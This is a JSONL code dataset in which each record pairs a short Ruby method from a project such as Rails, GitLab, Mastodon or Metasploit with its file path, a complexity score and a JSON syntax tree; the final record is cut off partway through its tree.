{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/indentation_width.rb","start_line":69,"raw_source":"def on_ensure(node)\n          check_indentation(node.loc.keyword, node.branch)\n        end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_ensure\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"check_indentation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"branch\"]}]}]}","id":"b9037e09-a812-434c-82b6-217032ec0712"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/app/models/chat/direct_message_channel.rb","start_line":19,"raw_source":"def title(user)\n      direct_message.chat_channel_title_for_user(self, user)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"title\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"direct_message\"]},\"chat_channel_title_for_user\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}","id":"8c47c6bc-3721-4697-a015-97dad8b6949f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/pcap_log.rb","start_line":101,"raw_source":"def convert_to_pcap(packet)\n        t = Time.now\n        sz = packet.size\n        [t.to_i, t.usec, sz, sz, packet].pack('V4A*')\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_to_pcap\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"packet\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sz\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"usec\"]},{\"type\":\"lvar\",\"children\":[\"sz\"]},{\"type\":\"lvar\",\"children\":[\"sz\"]},{\"type\":\"lvar\",\"children\":[\"packet\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V4A*\"]}]}]}]}","id":"5ab9d8f9-03cc-4d40-9024-9c7534b31144"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/runner_tagging.rb","start_line":44,"raw_source":"def copy_tag_name_from_tags\n      self.tag_name = tag.name\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_tag_name_from_tags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tag_name=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag\"]},\"name\"]}]}]}","id":"26fa14a4-0234-450d-8114-c2a6b5e80f22"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/routing/route_set.rb","start_line":137,"raw_source":"def get(name)\n          routes[name.to_sym]\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"routes\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_sym\"]}]}]}","id":"1aeaa448-8219-43b7-9003-496366df9a3e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/service_desk/custom_emails/base_service.rb","start_line":14,"raw_source":"def setting?\n        project.service_desk_setting.present?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"setting?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"service_desk_setting\"]},\"present?\"]}]}","id":"d12fe51e-fcbb-468e-b017-bb5564ba262f"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/new_users_measure.rb","start_line":12,"raw_source":"def perform_total_query\n    User.where(created_at: time_period).count\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_total_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[null,\"time_period\"]}]}]}]},\"count\"]}]}","id":"8c8cb51d-ae79-4841-93a1-624898abe0c2"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/datepicker/datepicker.rb","start_line":198,"raw_source":"def expect_disabled(date)\n      ensure_date_is_displayed(date) unless displays_date?(date)\n      label = date.strftime(\"%B %-d, %Y\")\n      expect(page).to have_css(\".flatpickr-day.flatpickr-disabled[aria-label='#{label}'],\" \\\n                               \".flatpickr-day.flatpickr-non-working-day[aria-label='#{label}']\")\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_disabled\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"date\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"displays_date?\",{\"type\":\"lvar\",\"children\":[\"date\"]}]},null,{\"type\":\"send\",\"children\":[null,\"ensure_date_is_displayed\",{\"type\":\"lvar\",\"children\":[\"date\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"date\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%B %-d, %Y\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".flatpickr-day.flatpickr-disabled[aria-label='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"str\",\"children\":[\"'],\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".flatpickr-day.flatpickr-non-working-day[aria-label='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]}]}]}]}]}","id":"5943b4aa-035e-4a0c-9d25-cac8147f6c74"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/scaffold_controller_generator_test.rb","start_line":126,"raw_source":"def test_helper_are_invoked_with_a_pluralized_name\n    run_generator\n    assert_file \"app/helpers/users_helper.rb\", /module UsersHelper/\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_helper_are_invoked_with_a_pluralized_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/helpers/users_helper.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"module UsersHelper\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"3f80eec3-d78d-4fa0-a847-b8e3641e0326"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/sidekiq_middleware_spec.rb","start_line":20,"raw_source":"def perform(*args)\n        Gitlab::SafeRequestStore['gitaly_call_actual'] = 1\n        Gitlab::SafeRequestStore[:gitaly_query_time] = 5\n      end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"gitaly_call_actual\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"gitaly_query_time\"]},{\"type\":\"int\",\"children\":[5]}]}]}]}","id":"01c16665-09dc-4728-a19d-b2adaf83b3ee"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/tag_moderators/remove.rb","start_line":14,"raw_source":"def self.tag_mod_newsletter_enabled?\n      Settings::General.mailchimp_api_key.present? &&\n        Settings::General.mailchimp_tag_moderators_id.present?\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tag_mod_newsletter_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"mailchimp_api_key\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"mailchimp_tag_moderators_id\"]},\"present?\"]}]}]}","id":"cf95c415-60b0-4767-ab6d-fc4edbcbce9a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transaction_instrumentation_test.rb","start_line":162,"raw_source":"def test_transaction_instrumentation_with_restart_parent_transaction_on_rollback\n    topic = topics(:fifth)\n\n    events = []\n    subscriber = ActiveSupport::Notifications.subscribe(\"transaction.active_record\") do |event|\n      events << event\n    end\n\n    ActiveRecord::Base.transaction do\n      ActiveRecord::Base.transaction(requires_new: true) do\n        topic.update(title: \"Ruby on Rails\")\n        raise ActiveRecord::Rollback\n      end\n      raise ActiveRecord::Rollback\n    end\n\n    assert_equal 2, events.count\n    restart, real = events\n    assert_equal :restart, restart.payload[:outcome]\n    assert_equal :rollback, real.payload[:outcome]\n  ensure\n    ActiveSupport::Notifications.unsubscribe(subscriber) if subscriber\n  end","complexity_score":32.83,"ast_json":"{\"type\":\"def\",\"children\":[\"test_transaction_instrumentation_with_restart_parent_transaction_on_rollback\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[null,\"topics\",{\"type\":\"sym\",\"children\":[\"fifth\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"events\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribe\",{\"type\":\"str\",\"children\":[\"transaction.active_record\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requires_new\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Ruby on Rails\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"count\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"restart\"]},{\"type\":\"lvasgn\",\"children\":[\"real\"]}]},{\"type\":\"lvar\",\"children\":[\"events\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"restart\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"restart\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"outcome\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"rollback\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"real\"]},\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"outcome\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"unsubscribe\",{\"type\":\"lvar\",\"children\":[\"subscriber\"]}]},null]}]}]}","id":"27d1ea01-4fc0-4455-bc26-376426e59db1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/pipelines_controller_spec.rb","start_line":204,"raw_source":"def get_pipelines_index_html(params = {})\n      get :index, params: {\n        namespace_id: project.namespace,\n        project_id: project\n      }.merge(params), format: :html\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_pipelines_index_html\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"sym\",\"children\":[\"html\"]}]}]}]}]}","id":"54be6b4e-69e5-4418-8401-f3fa11070210"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/groups_finder.rb","start_line":76,"raw_source":"def owned_groups\n    current_user&.owned_groups || Group.none\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"owned_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"owned_groups\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"none\"]}]}]}","id":"754ba69e-23e6-44f9-ab49-84a93a2eca02"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/extensions/view/slice_configured_context.rb","start_line":29,"raw_source":"def inspect\n          \"#<#{self.class.name}[#{slice.name}]>\"\n        end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"slice\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"]>\"]}]}]}","id":"cff49049-44c5-445a-bafe-28e17a50ace7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/range_test.rb","start_line":517,"raw_source":"def test_update_all_with_ranges\n    PostgresqlRange.create!\n\n    PostgresqlRange.update_all(int8_range: 1..100)\n\n    assert_equal 1...101, PostgresqlRange.first.int8_range\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_all_with_ranges\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlRange\"]},\"create!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlRange\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"int8_range\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[100]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"erange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[101]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgresqlRange\"]},\"first\"]},\"int8_range\"]}]}]}]}","id":"9cf4a5df-f381-4776-82e2-5fa27cc027c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/rubocop/cop/code_reuse/worker.rb","start_line":76,"raw_source":"def on_class(node)\n          # Models require special handling - only class methods are restricted\n          if in_model?(node)\n            check_model_class_methods(node)\n          else\n            check_all_send_nodes(node)\n          end\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"on_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_model?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"check_model_class_methods\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"check_all_send_nodes\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}","id":"9bab3d0c-630d-41d9-a569-d6c499dcba86"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/web_hooks/web_hook_logs_finder.rb","start_line":13,"raw_source":"def execute\n      return WebHookLog.none unless authorized?\n\n      logs = hook.web_hook_logs\n      logs = by_status_code(logs)\n      logs = by_created_at(logs)\n      by_id(logs)\n    end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebHookLog\"]},\"none\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"logs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hook\"]},\"web_hook_logs\"]}]},{\"type\":\"lvasgn\",\"children\":[\"logs\",{\"type\":\"send\",\"children\":[null,\"by_status_code\",{\"type\":\"lvar\",\"children\":[\"logs\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"logs\",{\"type\":\"send\",\"children\":[null,\"by_created_at\",{\"type\":\"lvar\",\"children\":[\"logs\"]}]}]},{\"type\":\"send\",\"children\":[null,\"by_id\",{\"type\":\"lvar\",\"children\":[\"logs\"]}]}]}]}","id":"00070136-0925-4a8b-9147-39894806ae8d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/client/iec104/iec104.rb","start_line":78,"raw_source":"def stopcon\n    apci_data = \"\\x68\"\n    apci_data << \"\\x04\"\n    apci_data << \"\\x13\"\n    apci_data << \"\\x00\"\n    apci_data << \"\\x00\"\n    apci_data << \"\\x00\"\n    apci_data\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stopcon\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"apci_data\",{\"type\":\"str\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"apci_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0004\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"apci_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0013\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"apci_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"apci_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"apci_data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\u0000\"]}]},{\"type\":\"lvar\",\"children\":[\"apci_data\"]}]}]}","id":"b93f89e9-fc4f-4518-89da-350ccf720bed"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nessus.rb","start_line":1053,"raw_source":"def cmd_nessus_db_scan(*args)\n        if args[0] == '-h'\n          print_status('nessus_db_scan <policy ID> <scan name> <scan description>')\n          print_status('Creates a scan based on all the hosts listed in db_hosts.')\n          print_status('Use nessus_policy_list to list all available policies with their corresponding policy IDs')\n          return\n        end\n        if !nessus_verify_db\n          return\n        end\n        if !nessus_verify_token\n          return\n        end\n\n        case args.length\n        when 3\n          policy_id = args[0]\n          name = args[1]\n          desc = args[3]\n        else\n          print_status('Usage: ')\n          print_status('nessus_db_scan <policy ID> <scan name> <scan description>')\n          print_status('Use nessus_policy_list to list all available policies with their corresponding policy IDs')\n          return\n        end\n        if !valid_policy(policy_id)\n          print_error('That policy does not exist.')\n          return\n        end\n        targets = ''\n        framework.db.hosts.each do |host|\n          targets << host.address\n          targets << ','\n        end\n        targets.chop!\n        print_status(\"Creating scan from policy #{policy_id}, called \\\"#{name}\\\" and scanning all hosts in all the workspaces\")\n        et = {\n          'enabled' => false,\n          'launch' => 'ONETIME',\n          'name' => name,\n          'text_targets' => targets,\n          'description' => desc,\n          'launch_now' => true\n        }\n        scan = @n.scan_create(policy_id, et)\n        if !scan['error']\n          scan = scan['scan']\n          print_status(\"Scan ID #{scan['id']} successfully created and launched\")\n        else\n          print_error(JSON.pretty_generate(scan))\n        end\n      end","complexity_score":59.1,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_nessus_db_scan\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"-h\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"nessus_db_scan <policy ID> <scan name> <scan description>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Creates a scan based on all the hosts listed in db_hosts.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Use nessus_policy_list to list all available policies with their corresponding policy IDs\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nessus_verify_db\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nessus_verify_token\"]},\"!\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"length\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[3]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"policy_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"desc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Usage: \"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"nessus_db_scan <policy ID> <scan name> <scan description>\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Use nessus_policy_list to list all available policies with their corresponding policy IDs\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_policy\",{\"type\":\"lvar\",\"children\":[\"policy_id\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"That policy does not exist.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"targets\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"hosts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"address\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"<<\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"targets\"]},\"chop!\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating scan from policy \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"policy_id\"]}]},{\"type\":\"str\",\"children\":[\", called \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"\\\" and scanning all hosts in all the 